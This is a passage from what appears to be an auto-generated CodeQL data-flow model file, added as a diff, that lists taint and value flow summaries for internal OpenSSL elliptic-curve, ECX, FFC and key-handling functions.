*,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_group_do_inverse_ord", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_group_do_inverse_ord", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_group_do_inverse_ord", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_group_do_inverse_ord", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_group_fromdata", "(EC_KEY *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_group_new_ex", "(OSSL_LIB_CTX *,const char *,const EC_METHOD *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_group_new_ex", "(OSSL_LIB_CTX *,const char *,const EC_METHOD *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_group_new_ex", "(OSSL_LIB_CTX *,const char *,const EC_METHOD *)", "", "Argument[*2]", "ReturnValue[*].Field[**meth]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_group_new_ex", "(OSSL_LIB_CTX *,const char *,const EC_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_group_new_ex", "(OSSL_LIB_CTX *,const char *,const EC_METHOD *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_group_new_ex", "(OSSL_LIB_CTX *,const char *,const EC_METHOD *)", "", "Argument[2]", "ReturnValue[*].Field[*meth]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_group_set_params", "(EC_GROUP *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_group_simple_order_bits", "(const EC_GROUP *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_ec_group_todata", "(const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **)", "", "Argument[**6]", "Argument[*2].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_group_todata", "(const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **)", "", "Argument[*6]", "Argument[*2].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_group_todata", "(const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_group_todata", "(const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **)", "", "Argument[6]", "Argument[*2].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_group_todata", "(const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_key_dup", "(const EC_KEY *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_key_from_pkcs8", "(const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_key_from_pkcs8", "(const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_key_from_pkcs8", "(const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_key_from_pkcs8", "(const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_key_fromdata", "(EC_KEY *,const OSSL_PARAM[],int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_key_get0_propq", "(const EC_KEY *)", "", "Argument[*0].Field[**propq]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_get0_propq", "(const EC_KEY *)", "", "Argument[*0].Field[*propq]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_get_libctx", "(const EC_KEY *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_get_libctx", "(const EC_KEY *)", "", "Argument[*0].Field[*libctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_new_method_int", "(OSSL_LIB_CTX *,const char *,ENGINE *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_new_method_int", "(OSSL_LIB_CTX *,const char *,ENGINE *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_new_method_int", "(OSSL_LIB_CTX *,const char *,ENGINE *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_new_method_int", "(OSSL_LIB_CTX *,const char *,ENGINE *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_key_new_method_int", "(OSSL_LIB_CTX *,const char *,ENGINE *)", "", "Argument[2]", "ReturnValue[*].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_otherparams_fromdata", "(EC_KEY *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_key_param_from_x509_algor", "(const X509_ALGOR *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**group].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_param_from_x509_algor", "(const X509_ALGOR *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_param_from_x509_algor", "(const X509_ALGOR *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**group].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_param_from_x509_algor", "(const X509_ALGOR *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_param_from_x509_algor", "(const X509_ALGOR *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**group].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_param_from_x509_algor", "(const X509_ALGOR *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_param_from_x509_algor", "(const X509_ALGOR *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**group].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_key_param_from_x509_algor", "(const X509_ALGOR *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_key_set0_libctx", "(EC_KEY *,OSSL_LIB_CTX *)", "", "Argument[*1]", "Argument[*0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_set0_libctx", "(EC_KEY *,OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_simple_oct2priv", "(EC_KEY *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**priv_key].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_key_simple_oct2priv", "(EC_KEY *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**priv_key].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_key_simple_oct2priv", "(EC_KEY *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[**priv_key].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_key_simple_oct2priv", "(EC_KEY *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[**priv_key].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_key_simple_oct2priv", "(EC_KEY *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[**priv_key].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_key_simple_priv2oct", "(const EC_KEY *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_scalar_mul_ladder", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_scalar_mul_ladder", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_wNAF_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *)", "", "Argument[**5]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ossl_ec_wNAF_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *)", "", "Argument[*2]", "Argument[**5]", "value", "df-generated"] + - ["", "", True, "ossl_ec_wNAF_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *)", "", "Argument[*4]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_wNAF_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *)", "", "Argument[*5]", "Argument[**5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_wNAF_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *)", "", "Argument[*5]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecdh_simple_compute_key", "(unsigned char **,size_t *,const EC_POINT *,const EC_KEY *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecdsa_deterministic_sign", "(const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *,unsigned int,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecdsa_sign", "(int,const unsigned char *,int,unsigned char *,unsigned int *,const BIGNUM *,const BIGNUM *,EC_KEY *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecdsa_simple_sign_setup", "(EC_KEY *,BN_CTX *,BIGNUM **,BIGNUM **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecdsa_simple_sign_setup", "(EC_KEY *,BN_CTX *,BIGNUM **,BIGNUM **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecdsa_simple_sign_sig", "(const unsigned char *,int,const BIGNUM *,const BIGNUM *,EC_KEY *)", "", "Argument[*3]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ecdsa_simple_sign_sig", "(const unsigned char *,int,const BIGNUM *,const BIGNUM *,EC_KEY *)", "", "Argument[*4]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ecdsa_simple_sign_sig", "(const unsigned char *,int,const BIGNUM *,const BIGNUM *,EC_KEY *)", "", "Argument[*4]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ecdsa_simple_verify_sig", "(const unsigned char *,int,const ECDSA_SIG *,EC_KEY *)", "", "Argument[*3].Field[**group].Field[**order]", "Argument[*2].Field[**s]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecdsa_verify", "(int,const unsigned char *,int,const unsigned char *,int,EC_KEY *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecx_compute_key", "(ECX_KEY *,ECX_KEY *,size_t,unsigned char *,size_t *,size_t)", "", "Argument[*0].Field[*pubkey]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecx_compute_key", "(ECX_KEY *,ECX_KEY *,size_t,unsigned char *,size_t *,size_t)", "", "Argument[*1].Field[**privkey]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecx_compute_key", "(ECX_KEY *,ECX_KEY *,size_t,unsigned char *,size_t *,size_t)", "", "Argument[*1].Field[*privkey]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecx_compute_key", "(ECX_KEY *,ECX_KEY *,size_t,unsigned char *,size_t *,size_t)", "", "Argument[2]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_allocate_privkey", "(ECX_KEY *)", "", "Argument[*0].Field[**privkey]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_allocate_privkey", "(ECX_KEY *)", "", "Argument[*0].Field[*privkey]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_dup", "(const ECX_KEY *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ecx_key_from_pkcs8", "(const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_from_pkcs8", "(const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_from_pkcs8", "(const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_from_pkcs8", "(const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_fromdata", "(ECX_KEY *,const OSSL_PARAM[],int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_new", "(OSSL_LIB_CTX *,ECX_KEY_TYPE,int,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_new", "(OSSL_LIB_CTX *,ECX_KEY_TYPE,int,const char *)", "", "Argument[*3]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_new", "(OSSL_LIB_CTX *,ECX_KEY_TYPE,int,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_new", "(OSSL_LIB_CTX *,ECX_KEY_TYPE,int,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_new", "(OSSL_LIB_CTX *,ECX_KEY_TYPE,int,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*haspubkey]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_new", "(OSSL_LIB_CTX *,ECX_KEY_TYPE,int,const char *)", "", "Argument[3]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_op", "(const X509_ALGOR *,const unsigned char *,int,int,ecx_key_op_t,OSSL_LIB_CTX *,const char *)", "", "Argument[*5]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_op", "(const X509_ALGOR *,const unsigned char *,int,int,ecx_key_op_t,OSSL_LIB_CTX *,const char *)", "", "Argument[*6]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_op", "(const X509_ALGOR *,const unsigned char *,int,int,ecx_key_op_t,OSSL_LIB_CTX *,const char *)", "", "Argument[5]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_op", "(const X509_ALGOR *,const unsigned char *,int,int,ecx_key_op_t,OSSL_LIB_CTX *,const char *)", "", "Argument[6]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_set0_libctx", "(ECX_KEY *,OSSL_LIB_CTX *)", "", "Argument[*1]", "Argument[*0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_set0_libctx", "(ECX_KEY *,OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ed25519_public_from_private", "(OSSL_LIB_CTX *,uint8_t[32],const uint8_t[32],const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ed25519_sign", "(uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ed448_pubkey_verify", "(const uint8_t *,size_t)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_ed448_pubkey_verify", "(const uint8_t *,size_t)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_ed448_public_from_private", "(OSSL_LIB_CTX *,uint8_t[57],const uint8_t[57],const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ed448_sign", "(OSSL_LIB_CTX *,uint8_t *,const uint8_t *,size_t,const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,const uint8_t,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_encode_der_dsa_sig", "(WPACKET *,const BIGNUM *,const BIGNUM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_encode_der_dsa_sig", "(WPACKET *,const BIGNUM *,const BIGNUM *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_encode_der_integer", "(WPACKET *,const BIGNUM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_encoder_get_number", "(const OSSL_ENCODER *)", "", "Argument[*0].Field[*base].Field[*id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_encoder_parsed_properties", "(const OSSL_ENCODER *)", "", "Argument[*0].Field[*base].Field[**parsed_propdef]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_encoder_parsed_properties", "(const OSSL_ENCODER *)", "", "Argument[*0].Field[*base].Field[*parsed_propdef]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_engine_table_select", "(ENGINE_TABLE **,int,const char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_epki2pki_der_decode", "(unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_epki2pki_der_decode", "(unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_evp_pkey_get1_ED25519", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_evp_pkey_get1_ED25519", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_evp_pkey_get1_ED448", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_evp_pkey_get1_ED448", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_evp_pkey_get1_X25519", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_evp_pkey_get1_X25519", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_evp_pkey_get1_X448", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_evp_pkey_get1_X448", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_generate_private_key", "(BN_CTX *,const FFC_PARAMS *,int,int,BIGNUM *)", "", "Argument[2]", "Argument[*4].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_generate_private_key", "(BN_CTX *,const FFC_PARAMS *,int,int,BIGNUM *)", "", "Argument[2]", "Argument[*4].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_generate_private_key", "(BN_CTX *,const FFC_PARAMS *,int,int,BIGNUM *)", "", "Argument[2]", "Argument[*4].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_generate_private_key", "(BN_CTX *,const FFC_PARAMS *,int,int,BIGNUM *)", "", "Argument[3]", "Argument[*4].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_generate_private_key", "(BN_CTX *,const FFC_PARAMS *,int,int,BIGNUM *)", "", "Argument[3]", "Argument[*4].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_generate_private_key", "(BN_CTX *,const FFC_PARAMS *,int,int,BIGNUM *)", "", "Argument[3]", "Argument[*4].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_named_group_get_keylength", "(const DH_NAMED_GROUP *)", "", "Argument[*0].Field[*keylength]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_named_group_get_name", "(const DH_NAMED_GROUP *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_named_group_get_name", "(const DH_NAMED_GROUP *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_named_group_get_q", "(const DH_NAMED_GROUP *)", "", "Argument[*0].Field[**q]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_named_group_get_q", "(const DH_NAMED_GROUP *)", "", "Argument[*0].Field[*q]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_named_group_get_uid", "(const DH_NAMED_GROUP *)", "", "Argument[*0].Field[*uid]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_named_group_set", "(FFC_PARAMS *,const DH_NAMED_GROUP *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_params_FIPS186_2_gen_verify", "(OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_FIPS186_2_generate", "(OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_FIPS186_2_validate", "(OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_FIPS186_4_gen_verify", "(OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *)", "", "Argument[5]", "Argument[*1].Field[**q].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_FIPS186_4_gen_verify", "(OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *)", "", "Argument[5]", "Argument[*1].Field[**q].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_FIPS186_4_gen_verify", "(OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *)", "", "Argument[5]", "Argument[*1].Field[**q].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_FIPS186_4_gen_verify", "(OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_FIPS186_4_generate", "(OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *)", "", "Argument[4]", "Argument[*1].Field[**q].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_FIPS186_4_generate", "(OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *)", "", "Argument[4]", "Argument[*1].Field[**q].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_FIPS186_4_generate", "(OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *)", "", "Argument[4]", "Argument[*1].Field[**q].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_FIPS186_4_generate", "(OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_FIPS186_4_validate", "(OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_copy", "(FFC_PARAMS *,const FFC_PARAMS *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_params_enable_flags", "(FFC_PARAMS *,unsigned int,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_fromdata", "(FFC_PARAMS *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_full_validate", "(OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_get0_pqg", "(const FFC_PARAMS *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_params_get0_pqg", "(const FFC_PARAMS *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_params_get0_pqg", "(const FFC_PARAMS *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_params_get0_pqg", "(const FFC_PARAMS *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_params_get0_pqg", "(const FFC_PARAMS *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_params_get0_pqg", "(const FFC_PARAMS *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_params_get_validate_params", "(const FFC_PARAMS *,unsigned char **,size_t *,int *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_params_get_validate_params", "(const FFC_PARAMS *,unsigned char **,size_t *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_params_get_validate_params", "(const FFC_PARAMS *,unsigned char **,size_t *,int *)", "", "Argument[*0]", 